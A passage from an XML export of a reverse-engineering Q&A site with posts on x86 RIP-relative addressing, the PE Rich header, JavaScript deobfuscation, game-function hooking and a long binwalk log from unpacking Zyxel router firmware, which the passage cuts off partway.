same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lea rcx, [rip+0x144ed]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could somebody help me to understand what's happening here?&lt;/p&gt;&#xA;" OwnerUserId="12393" LastEditorUserId="12393" LastEditDate="2018-01-12T00:33:28.617" LastActivityDate="2018-01-12T01:06:51.650" Title="Operand address in Capstone disassembly is not the same as in IDA/HIEW" Tags="|disassembly|address|capstone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17179" PostTypeId="2" ParentId="17178" CreationDate="2018-01-12T01:06:51.650" Score="3" Body="&lt;p&gt;This is &lt;a href=&quot;https://en.wikipedia.org/wiki/X86#Addressing_modes&quot; rel=&quot;nofollow noreferrer&quot;&gt;RIP-relative addressing&lt;/a&gt;. Basically, it is adding 0x144ed to the address of the very next instruction - i.e. rcx = &lt;code&gt;rip&lt;/code&gt; + 7 (since this instruction is 7 bytes) + 0x144ed. In IDA, that instruction is located at 0x404 so it is adding 0x144ed to (0x404+7) = 0x148f8&lt;/p&gt;&#xA;" OwnerUserId="14715" LastActivityDate="2018-01-12T01:06:51.650" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17181" PostTypeId="1" AcceptedAnswerId="17183" CreationDate="2018-01-12T10:01:33.780" Score="1" ViewCount="480" Body="&lt;p&gt;Does anyone know why the PE DOS stub often includes repetitive looking data that does not seem to be valid 16bit commands?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/D4J9N.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/D4J9N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12794" LastActivityDate="2018-01-12T18:28:46.873" Title="PE DOS stub content not commands" Tags="|pe|dos-exe|pe32|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17183" PostTypeId="2" ParentId="17181" CreationDate="2018-01-12T18:28:46.873" Score="5" Body="&lt;p&gt;This is the so-called &quot;Rich header&quot;, added by Microsoft's link.exe (you can see the text &quot;Rich&quot; at the end of the mysterious block). It contains information about the versions of compilers and other tools which participated in producing the code of the executable. Some references:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.sec.in.tum.de/i20/publications/finding-the-needle-a-study-of-the-pe32-rich-header-and-respective-malware-triage&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Finding the Needle: A Study of the PE32 Rich Header and Respective Malware Triage&lt;/em&gt;&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.ntcore.com/files/richsign.htm&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Microsoft's Rich Signature (undocumented)&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/skochinsky/07c8e95e33d9429d81a75622b5d24c8b&quot; rel=&quot;noreferrer&quot;&gt;My parser&lt;/a&gt; based on code from &lt;a href=&quot;http://trendystephen.blogspot.be/2008/01/rich-header.html&quot; rel=&quot;noreferrer&quot;&gt;this article&lt;/a&gt; (more references at the bottom)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typical output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PRODID   name            build count&#xA;      1   Import0             0   141&#xA;     95   Utc1310_C        4035     1&#xA;    110   Utc1400_CPP     50727    45&#xA;    125   Masm800         50727    17&#xA;    109   Utc1400_C       50727   105&#xA;    120   Linker800       50727     1&#xA;     93   Implib710        4035    19&#xA;    124   Cvtres800       50727     1&#xA;Checksum valid&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-01-12T18:28:46.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17185" PostTypeId="1" CreationDate="2018-01-12T20:43:35.610" Score="3" ViewCount="2887" Body="&lt;p&gt;I'd like to reverse engineer a JavaScript program by manually renaming minimified variable, parameter and function names. However, updating my reverse-engineered code to a newer version would be very difficult, because:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The minimized variable names are randomized every time, which makes it hard to see what changed between two versions&lt;/li&gt;&#xA;&lt;li&gt;Even if the variable names were static, I'd have to keep track of which variable means what, which is very difficult because variable names are not globally unique, but rather per-scope&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is there any tool that could:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Automatically rename variables to unique names keeping track of their scope&lt;/li&gt;&#xA;&lt;li&gt;Be able to find difference between two versions by looking at the code structure but ignoring changes in the variable names, and assign names to new variables without conflicting the old ones&lt;/li&gt;&#xA;&lt;li&gt;Automatically rename these variables based on an mapping file, such as &lt;code&gt;var584 -&amp;gt; readPacket, var585 -&amp;gt; writePacket, ...&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Automatically convert minimified statements such as &lt;code&gt;condition &amp;amp;&amp;amp; statement;&lt;/code&gt; to &lt;code&gt;if (!condition) { statement; }&lt;/code&gt;, and &lt;code&gt;!0&lt;/code&gt; to &lt;code&gt;true&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerDisplayName="user56" LastActivityDate="2018-01-12T20:43:35.610" Title="Tool for JavaScript deobfuscation" Tags="|tools|deobfuscation|javascript|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17186" PostTypeId="1" CreationDate="2018-01-12T22:39:34.607" Score="0" ViewCount="160" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JQgAw.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JQgAw.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is a brief list of all the places where this particular function gets called in IDA Pro.&#xA;What this function does is return 1/60=0.01666 (the game tick's timestep) from a pointer, which value is used in the physics calculations of the game.&lt;/p&gt;&#xA;&lt;p&gt;I want to find where is this function constantly getting called in order to determine where I should look to analyse just the relevant code, instead of going through the entire list 1 by 1.&#xA;I know I have to do this while debugging and I need the fastest way to narrow down the list.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Edit after ~4 years lol:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;You can hook the function and call &lt;a href=&quot;https://learn.microsoft.com/en-us/cpp/intrinsics/returnaddress?view=msvc-170&quot; rel=&quot;nofollow noreferrer&quot;&gt;_ReturnAddress&lt;/a&gt;, at least for MSVC.&lt;/p&gt;&#xA;" OwnerUserId="22894" LastEditorUserId="22894" LastEditDate="2022-09-20T13:59:52.327" LastActivityDate="2022-09-20T13:59:52.327" Title="Find functions that constantly calls another" Tags="|functions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17187" PostTypeId="1" AcceptedAnswerId="17199" CreationDate="2018-01-12T22:45:17.870" Score="1" ViewCount="3933" Body="&lt;p&gt;Binwalk v2.1.1 on Ubuntu, and tried to research Zyxel Router firmware. First I unzipped FW, there was 3 files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;360AUG0C0.bin, 360AUG0C0.rom, AUG107.bm&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used binwalk to extract content of &lt;em&gt;bin&lt;/em&gt; file, &lt;code&gt;binwalk -Me 360AUG0C0.bin&lt;/code&gt;, but extracted content was just a lot of xml files and two .7z archives. What can be a problem? Below is binwalk log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Scan Time:     2018-01-13 00:07:37&#xA;Target File:   /../../Downloads/stuff/P-2302R-P1C_360AUG0C0/360AUG0C0.bin&#xA;MD5 Checksum:  9c6fd89abcc52bebe35f9120ce84c0bf&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;60068         0xEAA4          ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;60224         0xEB40          ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;98352         0x18030         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 227420 bytes&#xA;232724        0x38D14         Unix path: /usr/share/tabset/vt100:\&#xA;233492        0x39014         ZyXEL rom-0 configuration block, name: &quot;spt.dat&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;233512        0x39028         ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16&#xA;307248        0x4B030         LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5587504 bytes&#xA;&#xA;&#xA;Scan Time:     2018-01-13 00:07:38&#xA;Target File:   /../../Downloads/stuff/P-2302R-P1C_360AUG0C0/_360AUG0C0.bin.extracted/18030&#xA;MD5 Checksum:  325a9d0d1f51e73fd07acc08941e72a2&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;&#xA;&#xA;Scan Time:     2018-01-13 00:07:38&#xA;Target File:   /../../Downloads/stuff/P-2302R-P1C_360AUG0C0/_360AUG0C0.bin.extracted/4B030&#xA;MD5 Checksum:  31495089c3a566f413f2b86afed41c82&#xA;Signatures:    344&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;3441718       0x348436        ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16&#xA;3442044       0x34857C        Copyright string: &quot;Copyright (c) 1994 - 2006 ZyXEL Communications Corp.&quot;&#xA;3471518       0x34F89E        ZyXEL rom-0 configuration block, name: &quot;autoexec.net&quot;, compressed size: 25972, uncompressed size: 11886, data offset from start of block: 16&#xA;3493934       0x35502E        Neighborly text, &quot;neighbor loss %d: adslAtucPerfLolThreshTrap&quot;&#xA;3552100       0x363364        CRC32 polynomial table, big endian&#xA;3591525       0x36CD65        Unix path: /UDP/ICMP/GRE/ESP, from %s, proto=%u&#xA;3592386       0x36D0C2        Unix path: /UDP/ICMP/GRE/ESP, proto=%u&#xA;3607249       0x370AD1        Unix path: /in/out/both/none]&#xA;3621495       0x374277        Unix path: /disableAllExceptTrusted/unblockRWFToTrusted/keywordBlock/fullPath/caseInsensitive/fileName][enable/disable]&#xA;3700452       0x3876E4        Unix path: /C/Zyxel-XXXXXXXXX/CBRCPRXX/-/0104/0/www.taiwan-adult.com/80/ HTTP/1.1&#xA;3705584       0x388AF0        HTML document footer&#xA;3705864       0x388C08        HTML document header&#xA;3706140       0x388D1C        HTML document header&#xA;3715484       0x38B19C        Base64 standard index table&#xA;3869496       0x3B0B38        ZyXEL rom-0 configuration block, name: &quot;dbgarea&quot;, compressed size: 0, uncompressed size: 0, data offset from start of block: 16&#xA;3906504       0x3B9BC8        XML document, version: &quot;1.0&quot;&#xA;3910084       0x3BA9C4        XML document, version: &quot;1.0&quot;&#xA;3910916       0x3BAD04        XML document, version: &quot;1.0&quot;&#xA;3916304       0x3BC210        XML document, version: &quot;1.0&quot;&#xA;3917004       0x3BC4CC        XML document, version: &quot;1.0&quot;&#xA;3928628       0x3BF234        XML document, version: &quot;1.0&quot;&#xA;3937121       0x3C1361        HTML document header&#xA;3937822       0x3C161E        XML document, version: &quot;1.0&quot;&#xA;3937939       0x3C1693        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;3984353       0x3CCBE1        HTML document header&#xA;3985051       0x3CCE9B        XML document, version: &quot;1.0&quot;&#xA;3985167       0x3CCF0F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;3989273       0x3CDF19        HTML document header&#xA;3989960       0x3CE1C8        XML document, version: &quot;1.0&quot;&#xA;3990074       0x3CE23A        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;3994089       0x3CF1E9        HTML document header&#xA;3994779       0x3CF49B        XML document, version: &quot;1.0&quot;&#xA;3994895       0x3CF50F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;3996009       0x3CF969        HTML document header&#xA;3996705       0x3CFC21        XML document, version: &quot;1.0&quot;&#xA;3996823       0x3CFC97        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4030866       0x3D8192        Base64 standard index table&#xA;4038917       0x3DA105        Copyright string: &quot;Copyright.html&quot;&#xA;4055567       0x3DE20F        Copyright string: &quot;copyright {&quot;&#xA;4056555       0x3DE5EB        Copyright string: &quot;copyright {&quot;&#xA;4058339       0x3DECE3        Copyright string: &quot;copyright {&quot;&#xA;4069187       0x3E1743        Copyright string: &quot;copyright {&quot;&#xA;4124248       0x3EEE58        HTML document header&#xA;4124852       0x3EF0B4        XML document, version: &quot;1.0&quot;&#xA;4124966       0x3EF126        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4138534       0x3F2626        HTML document header&#xA;4139218       0x3F28D2        XML document, version: &quot;1.0&quot;&#xA;4139335       0x3F2947        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4143697       0x3F3A51        HTML document header&#xA;4144384       0x3F3D00        XML document, version: &quot;1.0&quot;&#xA;4144498       0x3F3D72        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4148081       0x3F4B71        HTML document header&#xA;4148765       0x3F4E1D        XML document, version: &quot;1.0&quot;&#xA;4148879       0x3F4E8F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4158731       0x3F750B        Copyright string: &quot;Copyright.html','Copyright','width=430,height=310')&quot; onMouseOut=&quot;MM_swapImgRestore()&quot; onMouseOver=&quot;MM_swapImage('Image4','','ima&quot;&#xA;4158748       0x3F751C        Copyright string: &quot;Copyright','width=430,height=310')&quot; onMouseOut=&quot;MM_swapImgRestore()&quot; onMouseOver=&quot;MM_swapImage('Image4','','images/i_about_on.gi&quot;&#xA;4223380       0x407194        Copyright string: &quot;Copyright 2005 by ZyXEL Communications Corp.&quot;&#xA;4223432       0x4071C8        Copyright string: &quot;Copyright 2005 par ZyXEL Communications Corp.&quot;&#xA;4223484       0x4071FC        Copyright string: &quot;Copyright 2005 por ZyXEL Communications Corp.&quot;&#xA;4223536       0x407230        Copyright string: &quot;Copyright 2005 di ZyXEL Communications Corp.&quot;&#xA;4345709       0x424F6D        HTML document header&#xA;4346435       0x425243        XML document, version: &quot;1.0&quot;&#xA;4346551       0x4252B7        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4353349       0x426D45        HTML document header&#xA;4354061       0x42700D        XML document, version: &quot;1.0&quot;&#xA;4354179       0x427083        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4356825       0x427AD9        HTML document header&#xA;4357526       0x427D96        XML document, version: &quot;1.0&quot;&#xA;4357643       0x427E0B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4359497       0x428549        HTML document header&#xA;4360206       0x42880E        XML document, version: &quot;1.0&quot;&#xA;4360323       0x428883        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4365849       0x429E19        HTML document header&#xA;4366552       0x42A0D8        XML document, version: &quot;1.0&quot;&#xA;4366667       0x42A14B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4411292       0x434F9C        XML document, version: &quot;1.0&quot;&#xA;4420321       0x4372E1        HTML document header&#xA;4421032       0x4375A8        XML document, version: &quot;1.0&quot;&#xA;4421147       0x43761B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4423521       0x437F61        HTML document header&#xA;4424231       0x438227        XML document, version: &quot;1.0&quot;&#xA;4424347       0x43829B        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4471437       0x443A8D        HTML document header&#xA;4472110       0x443D2E        XML document, version: &quot;1.0&quot;&#xA;4472224       0x443DA0        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4476657       0x444EF1        HTML document header&#xA;4477328       0x445190        XML document, version: &quot;1.0&quot;&#xA;4477442       0x445202        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4480441       0x445DB9        HTML document header&#xA;4481123       0x446063        XML document, version: &quot;1.0&quot;&#xA;4481237       0x4460D5        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4482881       0x446741        HTML document header&#xA;4483568       0x4469F0        XML document, version: &quot;1.0&quot;&#xA;4483682       0x446A62        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4488597       0x447D95        HTML document header&#xA;4489274       0x44803A        XML document, version: &quot;1.0&quot;&#xA;4489388       0x4480AC        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4494041       0x4492D9        HTML document header&#xA;4494721       0x449581        XML document, version: &quot;1.0&quot;&#xA;4494835       0x4495F3        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4541701       0x454D05        HTML document header&#xA;4542383       0x454FAF        XML document, version: &quot;1.0&quot;&#xA;4542497       0x455021        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4544889       0x455979        HTML document header&#xA;4545511       0x455BE7        XML document, version: &quot;1.0&quot;&#xA;4545625       0x455C59        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4546029       0x455DED        HTML document header&#xA;4546715       0x45609B        XML document, version: &quot;1.0&quot;&#xA;4546829       0x45610D        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4548489       0x456789        HTML document header&#xA;4549184       0x456A40        XML document, version: &quot;1.0&quot;&#xA;4549298       0x456AB2        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4555897       0x458479        HTML document header&#xA;4556588       0x45872C        XML document, version: &quot;1.0&quot;&#xA;4556702       0x45879E        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4626461       0x46981D        HTML document header&#xA;4627117       0x469AAD        XML document, version: &quot;1.0&quot;&#xA;4627231       0x469B1F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4631797       0x46ACF5        HTML document header&#xA;4632448       0x46AF80        XML document, version: &quot;1.0&quot;&#xA;4632562       0x46AFF2        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4645229       0x46E16D        HTML document header&#xA;4645891       0x46E403        XML document, version: &quot;1.0&quot;&#xA;4646005       0x46E475        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4647909       0x46EBE5        HTML document header&#xA;4648567       0x46EE77        XML document, version: &quot;1.0&quot;&#xA;4648681       0x46EEE9        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4651789       0x46FB0D        HTML document header&#xA;4652454       0x46FDA6        XML document, version: &quot;1.0&quot;&#xA;4652568       0x46FE18        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4656709       0x470E45        HTML document header&#xA;4657372       0x4710DC        XML document, version: &quot;1.0&quot;&#xA;4657486       0x47114E        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4663141       0x472765        HTML document header&#xA;4663811       0x472A03        XML document, version: &quot;1.0&quot;&#xA;4663925       0x472A75        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4665425       0x473051        HTML document header&#xA;4666090       0x4732EA        XML document, version: &quot;1.0&quot;&#xA;4666204       0x47335C        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4667989       0x473A55        HTML document header&#xA;4668659       0x473CF3        XML document, version: &quot;1.0&quot;&#xA;4668773       0x473D65        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4671789       0x47492D        HTML document header&#xA;4672445       0x474BBD        XML document, version: &quot;1.0&quot;&#xA;4672559       0x474C2F        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4686680       0x478358        Base64 standard index table&#xA;4696558       0x47A9EE        GIF image data, version &quot;89a&quot;, 2 x 2&#xA;4696606       0x47AA1E        GIF image data, version &quot;89a&quot;, 4 x 7&#xA;4696702       0x47AA7E        GIF image data, version &quot;89a&quot;, 1 x 34&#xA;4696798       0x47AADE        GIF image data, version &quot;89a&quot;, 1 x 900&#xA;4698178       0x47B042        GIF image data, version &quot;89a&quot;, 1 x 3&#xA;4698242       0x47B082        GIF image data, version &quot;89a&quot;, 3 x 1&#xA;4698306       0x47B0C2        GIF image data, version &quot;89a&quot;, 3 x 1&#xA;4698370       0x47B102        GIF image data, version &quot;89a&quot;, 1 x 3&#xA;4698434       0x47B142        GIF image data, version &quot;89a&quot;, 14 x 14&#xA;4698522       0x47B19A        GIF image data, version &quot;89a&quot;, 12 x 12&#xA;4699426       0x47B522        GIF image data, version &quot;89a&quot;, 1 x 1&#xA;4699478       0x47B556        GIF image data, version &quot;89a&quot;, 13 x 13&#xA;4699602       0x47B5D2        GIF image data, version &quot;89a&quot;, 13 x 13&#xA;4699786       0x47B68A        GIF image data, version &quot;89a&quot;, 16 x 22&#xA;4700118       0x47B7D6        GIF image data, version &quot;89a&quot;, 16 x 22&#xA;4700454       0x47B926        GIF image data, version &quot;89a&quot;, 16 x 22&#xA;4700786       0x47BA72        GIF image data, version &quot;89a&quot;, 16 x 22&#xA;4701122       0x47BBC2        GIF image data, version &quot;89a&quot;, 16 x 22&#xA;4701206       0x47BC16        GIF image data, version &quot;89a&quot;, 1 x 19&#xA;4701306       0x47BC7A        GIF image data, version &quot;89a&quot;, 18 x 17&#xA;4701426       0x47BCF2        GIF image data, version &quot;89a&quot;, 22 x 22&#xA;4701902       0x47BECE        GIF image data, version &quot;89a&quot;, 22 x 22&#xA;4702378       0x47C0AA        GIF image data, version &quot;89a&quot;, 11 x 17&#xA;4702694       0x47C1E6        GIF image data, version &quot;89a&quot;, 22 x 22&#xA;4703190       0x47C3D6        GIF image data, version &quot;89a&quot;, 22 x 22&#xA;4703682       0x47C5C2        GIF image data, version &quot;89a&quot;, 17 x 16&#xA;4703818       0x47C64A        GIF image data, version &quot;89a&quot;, 22 x 22&#xA;4705090       0x47CB42        GIF image data, version &quot;89a&quot;, 22 x 22&#xA;4705614       0x47CD4E        GIF image data, version &quot;89a&quot;, 18 x 18&#xA;4705698       0x47CDA2        GIF image data, version &quot;89a&quot;, 18 x 18&#xA;4705774       0x47CDEE        GIF image data, version &quot;89a&quot;, 169 x 50&#xA;4708034       0x47D6C2        GIF image data, version &quot;89a&quot;, 1 x 1000&#xA;4708690       0x47D952        GIF image data, version &quot;89a&quot;, 155 x 55&#xA;4711634       0x47E4D2        GIF image data, version &quot;89a&quot;, 155 x 55&#xA;4714562       0x47F042        GIF image data, version &quot;89a&quot;, 155 x 1&#xA;4714670       0x47F0AE        GIF image data, version &quot;89a&quot;, 155 x 59&#xA;4716402       0x47F772        GIF image data, version &quot;89a&quot;, 1 x 13&#xA;4716498       0x47F7D2        GIF image data, version &quot;89a&quot;, 1 x 13&#xA;4716594       0x47F832        GIF image data, version &quot;89a&quot;, 1 x 22&#xA;4716746       0x47F8CA        GIF image data, version &quot;89a&quot;, 15 x 21&#xA;4717370       0x47FB3A        GIF image data, version &quot;89a&quot;, 1 x 21&#xA;4717814       0x47FCF6        GIF image data, version &quot;89a&quot;, 15 x 21&#xA;4718438       0x47FF66        GIF image data, version &quot;89a&quot;, 14 x 24&#xA;4718842       0x4800FA        GIF image data, version &quot;89a&quot;, 1 x 24&#xA;4718994       0x480192        GIF image data, version &quot;89a&quot;, 14 x 24&#xA;4719402       0x48032A        GIF image data, version &quot;89a&quot;, 14 x 24&#xA;4719562       0x4803CA        GIF image data, version &quot;89a&quot;, 1 x 24&#xA;4719658       0x48042A        GIF image data, version &quot;89a&quot;, 14 x 24&#xA;4719818       0x4804CA        GIF image data, version &quot;89a&quot;, 1 x 55&#xA;4720098       0x4805E2        GIF image data, version &quot;89a&quot;, 1 x 36&#xA;4720254       0x48067E        GIF image data, version &quot;89a&quot;, 16 x 22&#xA;4720362       0x4806EA        GIF image data, version &quot;89a&quot;, 34 x 358&#xA;4725174       0x4819B6        GIF image data, version &quot;89a&quot;, 1 x 45&#xA;4726030       0x481D0E        GIF image data, version &quot;89a&quot;, 13 x 13&#xA;4726150       0x481D86        GIF image data, version &quot;89a&quot;, 13 x 13&#xA;4726338       0x481E42        GIF image data, version &quot;89a&quot;, 3 x 20&#xA;4726390       0x481E76        GIF image data, version &quot;89a&quot;, 1 x 600&#xA;4727550       0x4822FE        GIF image data, version &quot;89a&quot;, 1 x 30&#xA;4728394       0x48264A        GIF image data, version &quot;89a&quot;, 10 x 30&#xA;4729062       0x4828E6        GIF image data, version &quot;89a&quot;, 10 x 30&#xA;4730138       0x482D1A        GIF image data, version &quot;89a&quot;, 153 x 285&#xA;4735458       0x4841E2        GIF image data, version &quot;89a&quot;, 1 x 20&#xA;4735558       0x484246        GIF image data, version &quot;89a&quot;, 16 x 14&#xA;4735874       0x484382        GIF image data, version &quot;89a&quot;, 16 x 18&#xA;4736226       0x4844E2        GIF image data, version &quot;89a&quot;, 1 x 20&#xA;4736326       0x484546        GIF image data, version &quot;89a&quot;, 41 x 36&#xA;4736846       0x48474E        GIF image data, version &quot;89a&quot;, 19 x 14&#xA;4737406       0x48497E        GIF image data, version &quot;89a&quot;, 17 x 14&#xA;4737738       0x484ACA        GIF image data, version &quot;89a&quot;, 19 x 14&#xA;4738066       0x484C12        GIF image data, version &quot;89a&quot;, 17 x 14&#xA;4738274       0x484CE2        GIF image data, version &quot;89a&quot;, 19 x 14&#xA;4738374       0x484D46        GIF image data, version &quot;89a&quot;, 61 x 47&#xA;4741454       0x48594E        GIF image data, version &quot;89a&quot;, 61 x 47&#xA;4742834       0x485EB2        GIF image data, version &quot;89a&quot;, 61 x 47&#xA;4744382       0x4864BE        GIF image data, version &quot;89a&quot;, 61 x 47&#xA;4747466       0x4870CA        GIF image data, version &quot;89a&quot;, 20 x 14&#xA;4747606       0x487156        GIF image data, version &quot;89a&quot;, 20 x 14&#xA;4747942       0x4872A6        GIF image data, version &quot;89a&quot;, 23 x 21&#xA;4749130       0x48774A        GIF image data, version &quot;89a&quot;, 19 x 14&#xA;4749486       0x4878AE        GIF image data, version &quot;89a&quot;, 26 x 10&#xA;4749578       0x48790A        GIF image data, version &quot;89a&quot;, 26 x 10&#xA;4749670       0x487966        GIF image data, version &quot;89a&quot;, 28 x 16&#xA;4750538       0x487CCA        GIF image data, version &quot;89a&quot;, 28 x 16&#xA;4750610       0x487D12        GIF image data, version &quot;89a&quot;, 28 x 16&#xA;4751482       0x48807A        GIF image data, version &quot;89a&quot;, 19 x 14&#xA;4751838       0x4881DE        GIF image data, version &quot;89a&quot;, 2 x 435&#xA;4752086       0x4882D6        GIF image data, version &quot;89a&quot;, 61 x 47&#xA;4753750       0x488956        GIF image data, version &quot;89a&quot;, 61 x 47&#xA;4756942       0x4895CE        GIF image data, version &quot;89a&quot;, 48 x 67&#xA;4773114       0x48D4FA        GIF image data, version &quot;89a&quot;, 50 x 37&#xA;4776430       0x48E1EE        GIF image data, version &quot;89a&quot;, 53 x 19&#xA;4776974       0x48E40E        GIF image data, version &quot;89a&quot;, 53 x 19&#xA;4777402       0x48E5BA        GIF image data, version &quot;89a&quot;, 48 x 67&#xA;4827065       0x49A7B9        HTML document header&#xA;4827742       0x49AA5E        XML document, version: &quot;1.0&quot;&#xA;4827856       0x49AAD0        Unix path: /www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;4830673       0x49B5D1        HTML document header&#xA;4831356       0x49B87C        XML document, version: 